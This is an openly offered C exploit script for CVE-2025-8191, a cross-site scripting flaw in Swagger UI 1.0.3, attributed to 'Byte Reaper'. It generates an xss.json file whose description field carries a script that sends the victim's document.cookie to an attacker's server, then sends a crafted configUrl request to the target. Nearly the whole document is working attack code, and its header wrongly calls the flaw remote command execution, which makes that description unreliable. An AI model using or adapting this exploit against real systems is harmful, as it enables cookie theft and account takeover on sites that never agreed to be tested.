Swagger UI 1.0.3 Cross-Site Scripting (XSS)

/* * Author : Byte Reaper * Telegram : @ByteReaper0 * CVE : CVE-2025-8191 * Title : Swagger UI 1.0.3 - Cross-Site Scripting (XSS) * Description : CVE-2025-8191, a vulnerability in the Swagger UI service due to poor description parameter filtering, leading to command execution on a remote server. * */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include "argparse.h" #include <curl/curl.h> int portSel = 0; int portServerSel = 0; int selectFile = 0; const char *targetUrl = NULL; const char *cookies = NULL; const char *server = NULL; const char *yourFile = NULL; const char *payloadFile = "xss.json"; int targetPort = 0; int yourPort = 0; int verbose = 0; int useCookies = 0; struct Mem { char *buffer; size_t len; }; void exitAssembly() { __asm__ volatile ( "mov $231, %%rax\n\t" "xor %%rdi, %%rdi\n\t" "syscall\n\t" : : :"rax", "rdi" ); } size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata) { size_t total = size * nmemb; struct Mem *m = (struct Mem *)userdata; char *tmp = realloc(m->buffer, m->len + total + 1); if (tmp == NULL) { printf("\e[1;31m[-] Failed to allocate memory!\e[0m\n"); exitAssembly(); } m->buffer = tmp; memcpy(&(m->buffer[m->len]), ptr, total); m->len += total; m->buffer[m->len] = '\0'; return total; } void createFile(const char *filename, const char *server) { FILE *f = fopen(filename, "w"); if (f == NULL) { printf("\e[1;31m[-] Error Create file (xss.json)!\e[0m\n"); exitAssembly(); } char payloadBuf[2048]; int lenFile = snprintf( payloadBuf, sizeof(payloadBuf), "{\n" " \"swagger\": \"2.0\",\n" " \"info\": {\n" " \"version\": \"1.0.0\",\n" " \"title\": \"XSS Injection Demo\",\n" " \"description\": \"<script>fetch('%s/steal?c='+encodeURIComponent(document.cookie))</script>\"\n" " },\n" " \"paths\": {}\n" "}", server ); if (lenFile <= 0 || lenFile >= sizeof(payloadBuf)) { printf("\e[1;31m[-] File payload too large!\e[0m\n"); fclose(f); exitAssembly(); } fwrite(payloadBuf, 1, lenFile, f); fclose(f); printf("\e[1;34m[+] File name: %s\e[0m\n", filename); printf("\e[1;34m[+] File created successfully.\e[0m\n"); printf("\e[1;35m============================= [PAYLOAD] =============================\e[0m\n"); printf("\e[1;34m[+] Payload content :\n%s\e[0m\n", payloadBuf); printf("\e[1;35m====================================================================\e[0m\n"); } void sendRequest(const char *baseUrl, int targetPort, const char *server, const char *payloadFile) { const char *filename = "xss.json"; createFile(filename, server); CURL *curl = curl_easy_init(); CURLcode res; char full[4000]; if (curl == NULL) { printf("\e[1;31m[-] Error Create Object CURL !\e[0m\n"); exitAssembly(); } struct Mem server_Rsponse = { NULL, 0 }; server_Rsponse.buffer = NULL ; server_Rsponse.len = 0; if (curl) { if (portSel) { int len1 = snprintf(full, sizeof(full), "%s:%d/swagger-ui/index.html?configUrl=%s/%s", baseUrl, targetPort, server, payloadFile); if (len1 < 0 || len1 >= (int)sizeof(full)) { printf("\e[1;31m[-] URL is Long !\e[0m\n"); printf("\e[1;31m[-] FULL URL Len : %d\e[0m\n", len1); exitAssembly(); } } if (portServerSel) { int len2 = snprintf(full, sizeof(full), "%s/swagger-ui/index.html?configUrl=%s:%d/%s", baseUrl, server, yourPort, payloadFile); if (len2 < 0 || len2 >= (int)sizeof(full)) { printf("\e[1;31m[-] URL is Long !\e[0m\n"); printf("\e[1;31m[-] FULL URL Len : %d\e[0m\n", len2); exitAssembly(); } } if (selectFile) { int len3 = snprintf(full, sizeof(full), "%s:%d/swagger-ui/index.html?configUrl=%s/%s", baseUrl, targetPort, server, yourFile); if (len3 < 0 || len3 >= (int)sizeof(full)) { printf("\e[1;31m[-] URL is Long !\e[0m\n"); printf("\e[1;31m[-] FULL URL Len : %d\e[0m\n", len3); exitAssembly(); } } else { int len4 = snprintf(full, sizeof(full), "%s:%d/swagger-ui/index.html?configUrl=%s/%s", baseUrl, targetPort, server, payloadFile); if (len4 < 0 || len4 >= (int)sizeof(full)) { printf("\e[1;31m[-] URL is Long !\e[0m\n"); printf("\e[1;31m[-] FULL URL Len : %d\e[0m\n", len4); exitAssembly(); } } curl_easy_setopt(curl, CURLOPT_URL, full); if (useCookies) { curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookies); curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookies); } curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); if (verbose) { printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n"); curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); } curl_easy_setopt(curl, CURLOPT_WRITEDATA, &server_Rsponse); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L); curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); struct curl_slist *headers = NULL; headers = curl_slist_append(headers, "Accept-Language: en-US,en"); headers = curl_slist_append(headers, "Connection: keep-alive"); char ref[500]; snprintf(ref , sizeof(ref), "Referer: %s", server); headers = curl_slist_append(headers, ref); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers); res = curl_easy_perform(curl); curl_slist_free_all(headers); if (res == CURLE_OK) { double timeD; double downloadTime; long httpCode = 0; long size; curl_off_t content_length; curl_off_t connectTime; curl_easy_getinfo(curl, CURLINFO_APPCONNECT_TIME, &connectTime); curl_easy_getinfo(curl, CURLINFO_SIZE_DOWNLOAD_T, &content_length); curl_easy_getinfo(curl, CURLINFO_HEADER_SIZE, &size); printf("\e[1;36m[+] Time: %" CURL_FORMAT_CURL_OFF_T ".%06ld\e[0m\n", connectTime / 1000000, (long)(connectTime % 1000000)); printf("\e[1;36m[+] Size: %.0f\n", connectTime); printf("\e[1;36m[+] Header size: %ld bytes\e[0m\n", size); printf("[+] Download size: %" CURL_FORMAT_CURL_OFF_T "\n", content_length); curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &httpCode); curl_easy_getinfo(curl, CURLINFO_TOTAL_TIME, &timeD); printf("\e[1;36m[+] Request sent successfully\e[0m\n"); printf("\e[1;34m[+] Delay Time Response : %f\e[0m\n", timeD); printf("\e[1;37m[+] Input Url : %s\e[0m\n", baseUrl); if (portSel) { printf("\e[1;33m[+] Target Port Server : %d\e[0m\n", targetPort); } if (portServerSel) { printf("\e[1;33m[+] Your Port Server : %d\e[0m\n", yourPort); } printf("\e[1;33m[+] Your Server URL : %s\e[0m\n", server); printf("\e[1;37m[+] Full Url : %s\e[0m\n", full); if (httpCode >= 200 && httpCode < 300) { printf("\e[1;36m[+] Positive Http Code (200 < 300) : %ld\e[0m\n",httpCode); const char *foundKey[] = { "id=", "path", "host", "alert", "error", }; printf("\e[1;35m[+] Response Server : =======================================\e[0m\n"); printf("%s\n", server_Rsponse.buffer); printf("\e[1;35m=============================================================\e[0m\n"); int numberKey = sizeof(foundKey) /sizeof(foundKey[0]); int notFound = 0; for (int k = 0; k < numberKey; k++) { if (strstr(server_Rsponse.buffer, foundKey[k]) != NULL) { printf("\e[1;34m[+] Found Word In Response : %s\n", foundKey[k]); printf("\e[1;34m[+] The server suffers from the CVE-2025-8191 vulnerability.\e[0m\n"); printf("\e[1;35m[+] Response Server : =======================================\e[0m\n"); printf("%s\n", server_Rsponse.buffer); printf("\e[1;35m=============================================================\e[0m\n"); } else { if (verbose) { printf("\e[1;31m[-] Not Found Word : %s\n",foundKey[k]); } notFound = 1; } } if (notFound) { printf("\e[1;31m[-] No suspicious words were found in the server's reply.\e[0m\n"); } } else { printf("\e[1;31m[-] HTTP Code Not Range Positive (200 < 300) : %ld\e[0m\n", httpCode); if (verbose) { printf("\e[1;35m[+] Response Server : =======================================\e[0m\n"); printf("%s\n", server_Rsponse.buffer); printf("\e[1;35m=============================================================\e[0m\n"); } } } else { printf("\e[1;31m[-] Error Send Request\e[0m\n"); printf("\e[1;31m[-] Error : %s\e[0m\n", curl_easy_strerror(res)); printf("\e[1;31m[-] Please Check Your Connection !\e[0m\n"); exitAssembly(); } } if (server_Rsponse.buffer) { free(server_Rsponse.buffer); server_Rsponse.buffer = NULL; server_Rsponse.len = 0; } curl_easy_cleanup(curl); } int main(int argc, const char **argv) { printf( "\e[1;31m" "▄▖▖▖▄▖ ▄▖▄▖▄▖▄▖ ▄▖▗ ▄▖▗ \n" "▌ ▌▌▙▖▄▖▄▌▛▌▄▌▙▖▄▖▙▌▜ ▙▌▜ \n" "▙▖▚▘▙▖ ▙▖█▌▙▖▄▌ ▙▌▟▖▄▌▟▖ \n" ); printf("\e[1;37m [ Byte Reaper ]\n\e[0m"); printf("\e[1;37m [ Cross-Site Scripting ]\n\e[0m"); printf("\e[1;31m---------------------------------------------------------------------------------------\e[0m\n"); struct argparse_option options[] = { OPT_HELP(), OPT_STRING('u', "url", &targetUrl, "Target Url (Base URL)"), OPT_STRING('c', "cookies", &cookies, "cookies File"), OPT_STRING('s', "server", &server, "Your Server URL"), OPT_STRING('f', "file", &yourFile, "Name File (Json File Payload)"), OPT_INTEGER('p', "port", &targetPort, "Target Port Server"), OPT_INTEGER('b', "portS", &yourPort, "Enter Your Port Server"), OPT_BOOLEAN('v', "verbose", &verbose, "Verbose Mode"), OPT_END(), }; struct argparse argparse; argparse_init(&argparse, options, NULL, 0); argparse_parse(&argparse, argc, argv); if (!targetUrl && !server) { printf("\e[1;31m[-] Please Enter Your Url !\e[0m\n"); printf("\e[1;31m[-] Ex : ./exploit -u http://URL -s http://YOUR_SEVER \e[0m\n"); printf("\e[1;31m[-] Exit Syscall\e[0m\n"); exitAssembly(); } if (cookies) { useCookies = 1; } if (verbose) { verbose = 1; } if (targetPort) { portSel = 1; } if (yourPort) { portServerSel = 1; } if (yourFile) { selectFile = 1; } sendRequest(targetUrl, targetPort, server, selectFile ? yourFile : payloadFile); return 0; }